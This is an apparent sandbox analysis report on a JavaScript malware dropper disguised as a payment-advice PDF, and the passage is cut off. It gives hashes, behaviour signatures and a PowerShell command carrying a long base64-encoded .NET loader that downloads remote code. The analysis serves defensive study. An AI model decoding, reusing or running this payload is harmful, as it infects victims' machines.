Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-09-2024 15:08

General

  • Target

    Payment Advice.pdf.js

  • Size

    6KB

  • MD5

    0c7f4b973c24886cbf6ad580c28ca64b

  • SHA1

    147c90fd2d9d9966562f5c3afc440c8c6537cc4d

  • SHA256

    e26a43d75826ef67be5513312598652d6bd93a4ad7510e9d5d96c72f8dc12f92

  • SHA512

    ad8e347277a4b65f8a1e2ca2918213c5bf7a16dc3acd28c7e23768cb4f74d276170c5fe7d3befb87f930b4be128522b965a5c67a50841ed54e98f334f4a483ca

  • SSDEEP

    96:X2mMYzgttgVfsQFJKV0Zs/vU2y35HkHPVHKTonl7ie:hjfwUt3u7j

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Payment Advice.pdf.js"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -Command "$data = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGD+x2YAAAAAAAAAAOAAIiALAVAAAEYAAAAGAAAAAAAA2mQAAAAgAAAAgAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAADAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAIhkAABPAAAAAIAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA4EQAAAAgAAAARgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAgAAAAAQAAABIAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAKAAAAACAAAATAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAC8ZAAAAAAAAEgAAAACAAUAXCcAAEwUAAABAAAAAAAAAKg7AADgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKAEAAAoqHgIoAwAACioTMAgASQAAAAAAAABzBAAACoABAAAEFisBFkUDAAAAAgAAAA8AAAAcAAAAKydzBQAACoACAAAEFyvgcwYAAAqAAwAABBgr03MHAAAKgAQAAAQZK8YqAAAAEzABABMAAAABAAARFysBFiwAfgEAAARvCAAACgoGKgATMAEAEwAAAAIAABEXKwEWLAB+AgAABG8JAAAKCgYqABMwAQATAAAAAwAAERcrARYsAH4DAAAEbwoAAAoKBioAEzABABMAAAAEAAARFysBFiwAfgQAAARvCwAACgoGKgATMAIAVwAAAAUAABF+BQAABBQoGgAACgsWKwEWRQMAAAACAAAAIgAAACsAAAArMgcsJnIBAABw0AUAAAIoDwAACm8bAAAKcxwAAAoMFyvNCIAFAAAEGCvEfgUAAAQKGSu7BioAEzABAA4AAAAGAAARFysBFiwAfgYAAAQKBioeAoAGAAAEKgAAEzADAC4AAAAHAAARKAgAAAZyMQAAcH4GAAAEbx0AAAooDAAACgsWKwEWLAIrCgd0CQAAGwoXK/IGKlZzDQAABigeAAAKdAYAAAKABwAABCoeAigfAAAKKhMwAQAOAAAACAAAERcrARYsAH4HAAAECgYqAAATMAEADgAAAAgAABEXKwEWLAAoDgAABgoGKh4CKBIAAAoqAAAbMAoAVQMAAAkAABEDChYrARZFCAAAAAUAAAAOAAAALAAAADgAAABYAAAAZAAAAHAAAAB5AAAAOIsAAAB+IAAACgsXK80DbyEAAApvIgAACnJJAABwKCEAAApvIwAACg0YK68JLAtyUQAAcAsZK6MrKgNvIQAACm8iAAAKclsAAHAoIQAACm8jAAAKJhorg3JhAABwCxs4d////34gAAAKDBw4a////xcTBB04Yv///xEEBXJpAABwbyMAAAr+ARMFHjhL////EQU5DgEAAHJtAABwcokAAHAoJAAACigMAAAKEwYWKwEWRQUAAAAFAAAAPgAAAFoAAAB9AAAAoQAAADi6AAAAEQYUcosAAHAXjQUAAAElFh0oJQAACnKpAABwBHKtAABwKCYAAAqiFBQUKCcAAAooDAAAChMHFyupEQcUcrcAAHAXjQUAAAElFgOiFBQoKAAAChgrjREHFHLNAABwF40FAAABJRZy5wAAcKIUFCgoAAAKGThq////EQcUcgkBAHAXjQUAAAElFheMCQAAAaIUFCgoAAAKGjhG////EQcUciEBAHAWjQUAAAEUFBQXKCkAAAomGzgo////3holKCoAAAoTCBYrARYsAisIKCsAAAoXK/TeACAADAAAKCwAAAoWKwEWRQ4AAAAFAAAADwAAABkAAAAgAAAALwAAAFAAAABZAAAAawAAAIQAAACXAAAArAAAAMEAAADWAAAA5AAAADgYAQAAfiAAAAoTCRcrtHMtAAAKEwoYK6oRChMQGSujERAoLgAACm8vAAAKGiuUERAREAIoEgAABm8wAAAKbzAAAAooEgAABhMJGzhz////FBMQHDhq////cisBAHAoMQAAChMLHThY////EQtycQEAcCgxAAAKKDIAAAoTCx44P////ygLAAAG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TWljcm9zb2Z0LlZpc3VhbEJhc2ljAExvYWQAU3luY2hyb25pemVkAEdldE1ldGhvZABDcmVhdGVJbnN0YW5jZQBHZXRIYXNoQ29kZQBXaWUASW52b2tlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAFNlY3VyaXR5UHJvdG9jb2xUeXBlAEdldFR5cGUATWV0aG9kQmFzZQBBcHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAU3RyUmV2ZXJzZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBHdWlkQXR0cmlidXRlAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAU3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGUASGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAE5ld0xhdGVCaW5kaW5nAHNldF9FbmNvZGluZwBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEZyb21CYXNlNjRTdHJpbmcARG93bmxvYWRTdHJpbmcAVG9TdHJpbmcAR2V0Rm9sZGVyUGF0aABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwATGF0ZUNhbGwAQ2xhc3NMaWJyYXJ5Mi5kbGwAc2V0X1NlY3VyaXR5UHJvdG9jb2wAU3lzdGVtAFRyaW0AQm9vbGVhbgBWZXJzaW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAEludGVyYWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBjbGFzdWRvAE1ldGhvZEluZm8AQ3VsdHVyZUluZm8AbGl4b28AbGl4bwBTcGVjaWFsRm9sZGVyAFJlc291cmNlTWFuYWdlcgBTZXJ2aWNlUG9pbnRNYW5hZ2VyAFVzZXIAQ29tcHV0ZXIAVG9Mb3dlcgBDbGVhclByb2plY3RFcnJvcgBTZXRQcm9qZWN0RXJyb3IAQWN0aXZhdG9yAC5jdG9yAC5jY3RvcgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTIuUmVzb3VyY2VzLnJlc291cmNlcwBTdHJpbmdzAFJlZmVyZW5jZUVxdWFscwBDb250YWlucwBSdW50aW1lSGVscGVycwBDb25jYXQAQ3JlYXRlT2JqZWN0AEdldE9iamVjdABMYXRlR2V0AFN5c3RlbS5OZXQATGF0ZVNldABXZWJDbGllbnQARW52aXJvbm1lbnQAQ29udmVydABTeXN0ZW0uVGV4dABnZXRfQXNzZW1ibHkAbGpkaHN5AEVtcHR5AAAvQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMgAuAFIAZQBzAG8AdQByAGMAZQBzAAAXcgBvAGwAYQBnAGkAZwBhAG4AdABlAAAHdgBiAHMAAAkuAHYAYgBzAAAFagBzAAAHLgBqAHMAAAMzAAAbVwBTAGMAcgBpAHAAdAAuAFMAaABlAGwAbAAAAQAdQwByAGUAYQB0AGUAUwBoAG8AcgB0AGMAdQB0AAADXAAACS4AbABuAGsAABVUAGEA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